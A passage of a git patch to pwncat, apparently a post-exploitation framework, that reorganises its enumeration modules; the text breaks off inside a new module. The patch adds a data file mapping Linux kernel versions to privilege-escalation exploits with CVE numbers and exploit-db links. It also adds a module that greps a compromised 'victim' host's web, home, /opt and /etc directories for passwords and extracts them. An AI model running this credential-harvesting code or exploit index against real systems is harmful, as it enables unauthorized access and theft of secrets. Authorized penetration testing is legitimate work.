From 8fed7c9829d35ebaea5e56ff678d3bb3eced8092 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Fri, 11 Sep 2020 16:05:53 -0400 Subject: [PATCH] Organized and converted enumeration modules Also found fix for delayed arrow key input (once merged, this should fix #53) --- pwncat/__main__.py | 13 +- pwncat/data/lester.json | 1 + pwncat/file.py | 25 ++- pwncat/modules/__init__.py | 12 +- pwncat/modules/enumerate/__init__.py | 8 +- pwncat/modules/enumerate/arch.py | 48 ------ pwncat/modules/enumerate/creds/__init__.py | 55 ++++++ pwncat/modules/enumerate/creds/password.py | 110 ++++++++++++ pwncat/modules/enumerate/creds/private_key.py | 59 +++++++ pwncat/modules/enumerate/file/__init__.py | 0 pwncat/modules/enumerate/{ => file}/caps.py | 0 pwncat/modules/enumerate/{ => file}/suid.py | 0 pwncat/modules/enumerate/hostname.py | 40 ----- pwncat/modules/enumerate/kernel.py | 70 -------- pwncat/modules/enumerate/software/__init__.py | 0 pwncat/modules/enumerate/software/screen.py | 60 +++++++ .../enumerate/software/sudo/__init__.py | 0 .../{sudoers.py => software/sudo/rules.py} | 4 +- .../sudo/version.py} | 4 +- pwncat/modules/enumerate/{ => system}/aslr.py | 0 .../enumerate/{ => system}/container.py | 0 .../modules/enumerate/{ => system}/distro.py | 0 .../modules/enumerate/{ => system}/hosts.py | 0 pwncat/modules/enumerate/{ => system}/init.py | 0 pwncat/modules/enumerate/system/process.py | 90 ++++++++++ pwncat/modules/enumerate/system/services.py | 4 +- pwncat/modules/enumerate/system/uname.py | 144 ++++++++++++++++ pwncat/modules/escalate/cve2019-14287.py | 6 +- pwncat/modules/escalate/screen.py | 158 ++++++++++++++++++ pwncat/modules/escalate/setuid.py | 1 + pwncat/modules/escalate/su.py | 71 ++++++++ pwncat/modules/escalate/sudo.py | 4 +- pwncat/privesc/screen.py | 2 +- 33 files changed, 811 insertions(+), 178 deletions(-) create mode 100644 pwncat/data/lester.json delete mode 100644 pwncat/modules/enumerate/arch.py create mode 100644 pwncat/modules/enumerate/creds/__init__.py create mode 100644 pwncat/modules/enumerate/creds/password.py create mode 100644 pwncat/modules/enumerate/creds/private_key.py create mode 100644 pwncat/modules/enumerate/file/__init__.py rename pwncat/modules/enumerate/{ => file}/caps.py (100%) rename pwncat/modules/enumerate/{ => file}/suid.py (100%) delete mode 100644 pwncat/modules/enumerate/hostname.py delete mode 100644 pwncat/modules/enumerate/kernel.py create mode 100644 pwncat/modules/enumerate/software/__init__.py create mode 100644 pwncat/modules/enumerate/software/screen.py create mode 100644 pwncat/modules/enumerate/software/sudo/__init__.py rename pwncat/modules/enumerate/{sudoers.py => software/sudo/rules.py} (98%) rename pwncat/modules/enumerate/{sudo_version.py => software/sudo/version.py} (95%) rename pwncat/modules/enumerate/{ => system}/aslr.py (100%) rename pwncat/modules/enumerate/{ => system}/container.py (100%) rename pwncat/modules/enumerate/{ => system}/distro.py (100%) rename pwncat/modules/enumerate/{ => system}/hosts.py (100%) rename pwncat/modules/enumerate/{ => system}/init.py (100%) create mode 100644 pwncat/modules/enumerate/system/process.py create mode 100644 pwncat/modules/enumerate/system/uname.py create mode 100644 pwncat/modules/escalate/screen.py create mode 100644 pwncat/modules/escalate/su.py diff --git a/pwncat/__main__.py b/pwncat/__main__.py index 1fc7ef4..4b15b80 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -1,9 +1,11 @@ #!/usr/bin/env python3 +from io import TextIOWrapper import logging import selectors import shlex import sys import warnings +import os from sqlalchemy import exc as sa_exc from sqlalchemy.exc import InvalidRequestError @@ -33,6 +35,15 @@ def main(): if not pwncat.victim.connected: exit(0) + # Make stdin unbuffered. Without doing this, some key sequences + # which are multi-byte don't get sent properly (e.g. up and left + # arrow keys) + sys.stdin = TextIOWrapper( + os.fdopen(sys.stdin.fileno(), "br", buffering=0), + write_through=True, + line_buffering=False, + ) + # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) @@ -49,7 +60,7 @@ def main(): while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: - data = sys.stdin.buffer.read(1) + data = sys.stdin.buffer.read(64) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() diff --git a/pwncat/data/lester.json b/pwncat/data/lester.json new file mode 100644 index 0000000..25807db --- /dev/null +++ b/pwncat/data/lester.json @@ -0,0 +1 @@ +{"w00t": {"vuln": ["2.4.10", "2.4.16", "2.4.17", "2.4.18", "2.4.19", "2.4.20", "2.4.21"]}, "brk": {"vuln": ["2.4.10", "2.4.18", "2.4.19", "2.4.20", "2.4.21", "2.4.22"]}, "ave": {"vuln": ["2.4.19", "2.4.20"]}, "elflbl": {"vuln": ["2.4.29"], "mil": "http://www.exploit-db.com/exploits/744"}, "elfdump": {"vuln": ["2.4.27"]}, "elfcd": {"vuln": ["2.6.12"]}, "expand_stack": {"vuln": ["2.4.29"]}, "h00lyshit": {"vuln": ["2.6.8", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16"], "cve": "2006-3626", "mil": "http://www.exploit-db.com/exploits/2013"}, "kdump": {"vuln": ["2.6.13"]}, "km2": {"vuln": ["2.4.18", "2.4.22"]}, "krad": {"vuln": ["2.6.5", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11"]}, "krad3": {"vuln": ["2.6.5", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11"], "mil": "http://exploit-db.com/exploits/1397"}, "local26": {"vuln": ["2.6.13"]}, "loko": {"vuln": ["2.4.22", "2.4.23", "2.4.24"]}, "mremap_pte": {"vuln": ["2.4.20", "2.2.24", "2.4.25", "2.4.26", "2.4.27"], "mil": "http://www.exploit-db.com/exploits/160"}, "newlocal": {"vuln": ["2.4.17", "2.4.19"]}, "ong_bak": {"vuln": ["2.6.5"]}, "ptrace": {"vuln": ["2.4.18", "2.4.19", "2.4.20", "2.4.21", "2.4.22"]}, "ptrace_kmod": {"vuln": ["2.4.18", "2.4.19", "2.4.20", "2.4.21", "2.4.22"], "cve": "2007-4573"}, "ptrace_kmod2": {"vuln": ["2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34"], "alt": "ia32syscall,robert_you_suck", "mil": "http://www.exploit-db.com/exploits/15023", "cve": "2010-3301"}, "ptrace24": {"vuln": ["2.4.9"]}, "pwned": {"vuln": ["2.6.11"]}, "py2": {"vuln": ["2.6.9", "2.6.17", "2.6.15", "2.6.13"]}, "raptor_prctl": {"vuln": ["2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17"], "cve": "2006-2451", "mil": "http://www.exploit-db.com/exploits/2031"}, "prctl": {"vuln": ["2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17"], "mil": "http://www.exploit-db.com/exploits/2004"}, "prctl2": {"vuln": ["2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17"], "mil": "http://www.exploit-db.com/exploits/2005"}, "prctl3": {"vuln": ["2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17"], "mil": "http://www.exploit-db.com/exploits/2006"}, "prctl4": {"vuln": ["2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17"], "mil": "http://www.exploit-db.com/exploits/2011"}, "remap": {"vuln": ["2.4"]}, "rip": {"vuln": ["2.2"]}, "stackgrow2": {"vuln": ["2.4.29", "2.6.10"]}, "uselib24": {"vuln": ["2.6.10", "2.4.17", "2.4.22", "2.4.25", "2.4.27", "2.4.29"]}, "newsmp": {"vuln": ["2.6"]}, "smpracer": {"vuln": ["2.4.29"]}, "loginx": {"vuln": ["2.4.22"]}, "exp.sh": {"vuln": ["2.6.9", "2.6.10", "2.6.16", "2.6.13"]}, "vmsplice1": {"vuln": ["2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.24.1"], "alt": "jessica biel", "cve": "2008-0600", "mil": "http://www.exploit-db.com/exploits/5092"}, "vmsplice2": {"vuln": ["2.6.23", "2.6.24"], "alt": "diane_lane", "cve": "2008-0600", "mil": "http://www.exploit-db.com/exploits/5093"}, "vconsole": {"vuln": ["2.6"], "cve": "2009-1046"}, "sctp": {"vuln": ["2.6.26"], "cve": "2008-4113"}, "ftrex": {"vuln": ["2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22"], "cve": "2008-4210", "mil": "http://www.exploit-db.com/exploits/6851"}, "exit_notify": {"vuln": ["2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29"], "mil": "http://www.exploit-db.com/exploits/8369"}, "udev": {"vuln": ["2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29"], "alt": "udev <1.4.1", "cve": "2009-1185", "mil": "http://www.exploit-db.com/exploits/8478"}, "sock_sendpage2": {"vuln": ["2.4.4", "2.4.5", "2.4.6", "2.4.7", "2.4.8", "2.4.9", "2.4.10", "2.4.11", "2.4.12", "2.4.13", "2.4.14", "2.4.15", "2.4.16", "2.4.17", "2.4.18", "2.4.19", "2.4.20", "2.4.21", "2.4.22", "2.4.23", "2.4.24", "2.4.25", "2.4.26", "2.4.27", "2.4.28", "2.4.29", "2.4.30", "2.4.31", "2.4.32", "2.4.33", "2.4.34", "2.4.35", "2.4.36", "2.4.37", "2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30"], "alt": "proto_ops", "cve": "2009-2692", "mil": "http://www.exploit-db.com/exploits/9436"}, "sock_sendpage": {"vuln": ["2.4.4", "2.4.5", "2.4.6", "2.4.7", "2.4.8", "2.4.9", "2.4.10", "2.4.11", "2.4.12", "2.4.13", "2.4.14", "2.4.15", "2.4.16", "2.4.17", "2.4.18", "2.4.19", "2.4.20", "2.4.21", "2.4.22", "2.4.23", "2.4.24", "2.4.25", "2.4.26", "2.4.27", "2.4.28", "2.4.29", "2.4.30", "2.4.31", "2.4.32", "2.4.33", "2.4.34", "2.4.35", "2.4.36", "2.4.37", "2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30"], "alt": "wunderbar_emporium", "cve": "2009-2692", "mil": "http://www.exploit-db.com/exploits/9435"}, "udp_sendmsg_32bit": {"vuln": ["2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19"], "cve": "2009-2698", "mil": "http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c"}, "pipe.c_32bit": {"vuln": ["2.4.4", "2.4.5", "2.4.6", "2.4.7", "2.4.8", "2.4.9", "2.4.10", "2.4.11", "2.4.12", "2.4.13", "2.4.14", "2.4.15", "2.4.16", "2.4.17", "2.4.18", "2.4.19", "2.4.20", "2.4.21", "2.4.22", "2.4.23", "2.4.24", "2.4.25", "2.4.26", "2.4.27", "2.4.28", "2.4.29", "2.4.30", "2.4.31", "2.4.32", "2.4.33", "2.4.34", "2.4.35", "2.4.36", "2.4.37", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31"], "cve": "2009-3547", "mil": "http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c"}, "do_pages_move": {"vuln": ["2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31"], "alt": "sieve", "cve": "2010-0415", "mil": "Spenders Enlightenment"}, "reiserfs": {"vuln": ["2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34"], "cve": "2010-1146", "mil": "http://www.exploit-db.com/exploits/12130"}, "can_bcm": {"vuln": ["2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "cve": "2010-2959", "mil": "http://www.exploit-db.com/exploits/14814"}, "rds": {"vuln": ["2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "mil": "http://www.exploit-db.com/exploits/15285", "cve": "2010-3904"}, "half_nelson1": {"vuln": ["2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "alt": "econet", "cve": "2010-3848", "mil": "http://www.exploit-db.com/exploits/17787"}, "half_nelson2": {"vuln": ["2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "alt": "econet", "cve": "2010-3850", "mil": "http://www.exploit-db.com/exploits/17787"}, "half_nelson3": {"vuln": ["2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "alt": "econet", "cve": "2010-4073", "mil": "http://www.exploit-db.com/exploits/17787"}, "caps_to_root": {"vuln": ["2.6.34", "2.6.35", "2.6.36"], "cve": "n/a", "mil": "http://www.exploit-db.com/exploits/15916"}, "american-sign-language": {"vuln": ["2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "cve": "2010-4347", "mil": "http://www.securityfocus.com/bid/45408"}, "pktcdvd": {"vuln": ["2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36"], "cve": "2010-3437", "mil": "http://www.exploit-db.com/exploits/15150"}, "video4linux": {"vuln": ["2.6.0", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.8", "2.6.9", "2.6.10", "2.6.11", "2.6.12", "2.6.13", "2.6.14", "2.6.15", "2.6.16", "2.6.17", "2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33"], "cve": "2010-3081", "mil": "http://www.exploit-db.com/exploits/15024"}, "memodipper": {"vuln": ["2.6.39", "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.1.0"], "cve": "2012-0056", "mil": "http://www.exploit-db.com/exploits/18411"}, "semtex": {"vuln": ["2.6.37", "2.6.38", "2.6.39", "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.1.0"], "cve": "2013-2094", "mil": "http://www.exploit-db.com/exploits/25444"}, "perf_swevent": {"vuln": ["3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.1.0", "3.2.0", "3.3.0", "3.4.0", "3.4.1", "3.4.2", "3.4.3", "3.4.4", "3.4.5", "3.4.6", "3.4.8", "3.4.9", "3.5.0", "3.6.0", "3.7.0", "3.8.0", "3.8.1", "3.8.2", "3.8.3", "3.8.4", "3.8.5", "3.8.6", "3.8.7", "3.8.8", "3.8.9"], "cve": "2013-2094", "mil": "http://www.exploit-db.com/exploits/26131"}, "msr": {"vuln": ["2.6.18", "2.6.19", "2.6.20", "2.6.21", "2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36", "2.6.37", "2.6.38", "2.6.39", "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.1.0", "3.2.0", "3.3.0", "3.4.0", "3.5.0", "3.6.0", "3.7.0", "3.7.6"], "cve": "2013-0268", "mil": "http://www.exploit-db.com/exploits/27297"}, "timeoutpwn": {"vuln": ["3.4.0", "3.5.0", "3.6.0", "3.7.0", "3.8.0", "3.8.9", "3.9.0", "3.10.0", "3.11.0", "3.12.0", "3.13.0", "3.4.0", "3.5.0", "3.6.0", "3.7.0", "3.8.0", "3.8.5", "3.8.6", "3.8.9", "3.9.0", "3.9.6", "3.10.0", "3.10.6", "3.11.0", "3.12.0", "3.13.0", "3.13.1"], "cve": "2014-0038", "mil": "http://www.exploit-db.com/exploits/31346"}, "rawmodePTY": {"vuln": ["2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36", "2.6.37", "2.6.38", "2.6.39", "3.14.0", "3.15.0"], "cve": "2014-0196", "mil": "http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c"}, "overlayfs": {"vuln": ["3.13.0", "3.16.0", "3.19.0"], "cve": "2015-8660", "mil": "http://www.exploit-db.com/exploits/39230"}, "pp_key": {"vuln": ["3.4.0", "3.5.0", "3.6.0", "3.7.0", "3.8.0", "3.8.1", "3.8.2", "3.8.3", "3.8.4", "3.8.5", "3.8.6", "3.8.7", "3.8.8", "3.8.9", "3.9.0", "3.9.6", "3.10.0", "3.10.6", "3.11.0", "3.12.0", "3.13.0", "3.13.1"], "cve": "2016-0728", "mil": "http://www.exploit-db.com/exploits/39277"}, "dirty_cow": {"vuln": ["2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36", "2.6.37", "2.6.38", "2.6.39", "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.1.0", "3.2.0", "3.3.0", "3.4.0", "3.5.0", "3.6.0", "3.7.0", "3.7.6", "3.8.0", "3.9.0", "3.10.0", "3.11.0", "3.12.0", "3.13.0", "3.14.0", "3.15.0", "3.16.0", "3.17.0", "3.18.0", "3.19.0", "4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0", "4.5.0", "4.6.0", "4.7.0"], "cve": "2016-5195", "mil": "http://www.exploit-db.com/exploits/40616"}, "af_packet": {"vuln": ["4.4.0"], "cve": "2016-8655", "mil": "http://www.exploit-db.com/exploits/40871"}, "packet_set_ring": {"vuln": ["4.8.0"], "cve": "2017-7308", "mil": "http://www.exploit-db.com/exploits/41994"}, "clone_newuser": {"vuln": ["3.3.5", "3.3.4", "3.3.2", "3.2.13", "3.2.9", "3.2.1", "3.1.8", "3.0.5", "3.0.4", "3.0.2", "3.0.1", "3.2", "3.0.1", "3.0"], "cve": "N\\A", "mil": "http://www.exploit-db.com/exploits/38390"}, "get_rekt": {"vuln": ["4.4.0", "4.8.0", "4.10.0", "4.13.0"], "cve": "2017-16695", "mil": "http://www.exploit-db.com/exploits/45010"}, "exploit_x": {"vuln": ["2.6.22", "2.6.23", "2.6.24", "2.6.25", "2.6.26", "2.6.27", "2.6.27", "2.6.28", "2.6.29", "2.6.30", "2.6.31", "2.6.32", "2.6.33", "2.6.34", "2.6.35", "2.6.36", "2.6.37", "2.6.38", "2.6.39", "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.0.5", "3.0.6", "3.1.0", "3.2.0", "3.3.0", "3.4.0", "3.5.0", "3.6.0", "3.7.0", "3.7.6", "3.8.0", "3.9.0", "3.10.0", "3.11.0", "3.12.0", "3.13.0", "3.14.0", "3.15.0", "3.16.0", "3.17.0", "3.18.0", "3.19.0", "4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0", "4.5.0", "4.6.0", "4.7.0"], "cve": "2018-14665", "mil": "http://www.exploit-db.com/exploits/45697"}} \ No newline at end of file diff --git a/pwncat/file.py b/pwncat/file.py index 61c8ac9..456ecdf 100644 --- a/pwncat/file.py +++ b/pwncat/file.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 -from io import RawIOBase import socket import time +from io import RawIOBase from typing import Union import pwncat @@ -15,7 +15,12 @@ class RemoteBinaryPipe(RawIOBase): reading or writing will be allowed. """ def __init__( - self, mode: str, delim: bytes, binary: bool, exit_cmd: Union[bytes, str], + self, + mode: str, + delim: bytes, + binary: bool, + exit_cmd: Union[bytes, str], + length: int = None, ): if isinstance(exit_cmd, str): exit_cmd = exit_cmd.encode("utf-8") @@ -29,6 +34,7 @@ class RemoteBinaryPipe(RawIOBase): self.exit_cmd: bytes = exit_cmd self.count = 0 self.name = None + self.length = length def readable(self) -> bool: return True @@ -61,6 +67,12 @@ class RemoteBinaryPipe(RawIOBase): if self.eof: return + if "w" in self.mode and self.length is not None and self.count < self.length: + # We **have** to finish writing or the shell won't come back in + # most cases. This block only normally executes when an exception + # auto-closes a file object. + self.write((self.length - self.count) * b"\x00") + # Kill the last job. This should be us. We can only run as a job when we # don't request write support, because stdin is taken away from the # subprocess. This is dangerous, because we have no way to kill the new @@ -138,13 +150,20 @@ class RemoteBinaryPipe(RawIOBase): if self.eof: return None + + if self.length is not None: + if (len(data) + self.count) > self.length: + data = data[: (self.length - self.count)] + try: n = pwncat.victim.client.send(data) except (socket.timeout, BlockingIOError): n = 0 - if n == 0: return None + self.count += n + if self.length is not None and self.count >= self.length: + self.on_eof() return n diff --git a/pwncat/modules/__init__.py b/pwncat/modules/__init__.py index 0a5a63b..6e19ab7 100644 --- a/pwncat/modules/__init__.py +++ b/pwncat/modules/__init__.py @@ -1,15 +1,15 @@ #!/usr/bin/env python3 -from typing import Any, Callable -from dataclasses import dataclass -import pkgutil import inspect +import pkgutil import re +from dataclasses import dataclass +from typing import Any, Callable from rich.progress import Progress -from pwncat.util import console -from pwncat.platform import Platform import pwncat +from pwncat.platform import Platform +from pwncat.util import console LOADED_MODULES = {} @@ -229,7 +229,7 @@ class BaseModule(metaclass=BaseModuleMeta): PLATFORM = Platform.UNKNOWN def __init__(self): - return + self.progress = None def run(self, **kwargs): """ Execute this module """ diff --git a/pwncat/modules/enumerate/__init__.py b/pwncat/modules/enumerate/__init__.py index 382ae17..0b96300 100644 --- a/pwncat/modules/enumerate/__init__.py +++ b/pwncat/modules/enumerate/__init__.py @@ -103,7 +103,13 @@ class EnumerateModule(BaseModule): return # Get any new facts - for typ, data in self.enumerate(): + for item in self.enumerate(): + if isinstance(item, Status): + yield item + continue + + typ, data = item + row = pwncat.db.Fact( host_id=pwncat.victim.host.id, type=typ, data=data, source=self.name ) diff --git a/pwncat/modules/enumerate/arch.py b/pwncat/modules/enumerate/arch.py deleted file mode 100644 index 846f766..0000000 --- a/pwncat/modules/enumerate/arch.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python3 -from typing import List -import dataclasses - -import pwncat -from pwncat.platform import Platform -from pwncat import util -from pwncat.modules.enumerate import EnumerateModule, Schedule - - -@dataclasses.dataclass -class ArchData: - """ - Represents a W.X.Y-Z kernel version where W is the major version, - X is the minor version, Y is the patch, and Z is the ABI. - - This explanation came from here: - https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called - """ - - arch: str - """ The determined architecture. """ - - def __str__(self): - return f"Running on a [cyan]{self.arch}[/cyan] processor" - - -class Module(EnumerateModule): - """ - Enumerate kernel/OS version information - :return: - """ - - PROVIDES = ["system.arch"] - PLATFORM = Platform.LINUX - - def enumerate(self): - """ - Enumerate kernel/OS version information - :return: - """ - - try: - result = pwncat.victim.env(["uname", "-m"]).decode("utf-8").strip() - except FileNotFoundError: - return - - yield "system.arch", ArchData(result) diff --git a/pwncat/modules/enumerate/creds/__init__.py b/pwncat/modules/enumerate/creds/__init__.py new file mode 100644 index 0000000..f19bc40 --- /dev/null +++ b/pwncat/modules/enumerate/creds/__init__.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 +import dataclasses + +import pwncat + + +@dataclasses.dataclass +class PasswordData: + """ A password possible extracted from a remote file + `filepath` and `lineno` may be None signifying this + password did not come from a file directly. + """ + + password: str + filepath: str + lineno: int + + def __str__(self): + if self.password is not None: + result = f"Potential Password [cyan]{repr(self.password)}[/cyan]" + if self.filepath is not None: + result += f" ({self.filepath}:{self.lineno})" + else: + result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}" + return result + + +@dataclasses.dataclass +class PrivateKeyData: + """ A private key found on the remote file system or known + to be applicable to this system in some way. """ + + uid: int + """ The user we believe the private key belongs to """ + path: str + """ The path to the private key on the remote host """ + content: str + """ The actual content of the private key """ + encrypted: bool + """ Is this private key encrypted? """ + + def __str__(self): + if self.uid == 0: + color = "red" + else: + color = "green" + return f"Potential private key for [{color}]{self.user.name}[/{color}] at [cyan]{self.path}[/cyan]" + + @property + def description(self) -> str: + return self.content + + @property + def user(self): + return pwncat.victim.find_user_by_id(self.uid) diff --git a/pwncat/modules/enumerate/creds/password.py b/pwncat/modules/enumerate/creds/password.py new file mode 100644 index 0000000..2606b02 --- /dev/null +++ b/pwncat/modules/enumerate/creds/password.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 +import os +import re + +import pwncat +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule +from pwncat.modules.enumerate.creds import PasswordData + + +class Module(EnumerateModule): + """ + Search the victim file system for configuration files which may + contain passwords. This uses a regular expression based search + to abstractly extract things which look like variable assignments + within configuration files that look like passwords. + """ + + PROVIDES = ["creds.password"] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.PER_USER + + def enumerate(self): + + # The locations we will search in for passwords + locations = ["/var/www", "$HOME", "/opt", "/etc"] + # Known locations which match this search but don't contain useful entries + blacklist = ["openssl.cnf", "libuser.conf"] + # The types of files which are "code". This means that we only recognize the + # actual password if it is a literal value (enclosed in single or double quotes) + code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini", ".json"] + grep = pwncat.victim.which("grep") + + if grep is None: + return + + command = f"{grep} -InriE 'password[\"'\"'\"']?\\s*(=>|=|:)' {' '.join(locations)} 2>/dev/null" + with pwncat.victim.subprocess(command, "r") as filp: + for line in filp: + try: + # Decode the line and separate the filename, line number, and content + line = line.decode("utf-8").strip().split(":") + except UnicodeDecodeError: + continue + + # Ensure we got all three (should always be 3) + if len(line) < 3: + continue + + # Extract each individual piece + path = line[0] + content = ":".join(line[2:]) + try: + lineno = int(line[1]) + except ValueError: + # If this isn't an integer, we can't trust the format of the line... + continue + + password = None + + # Ensure this file isn't in our blacklist + # We will still report it but it won't produce actionable passwords + # for privesc because the blacklist files have a high likelihood of + # false positives. + if os.path.basename(path) not in blacklist: + # Check for simple assignment + match = re.search(r"password\s*=(.*)", content, re.IGNORECASE) + if match is not None: + password = match.group(1).strip() + + # Check for dictionary like in python with double quotes + match = re.search(r"password[\"']\s*:(.*)", content, 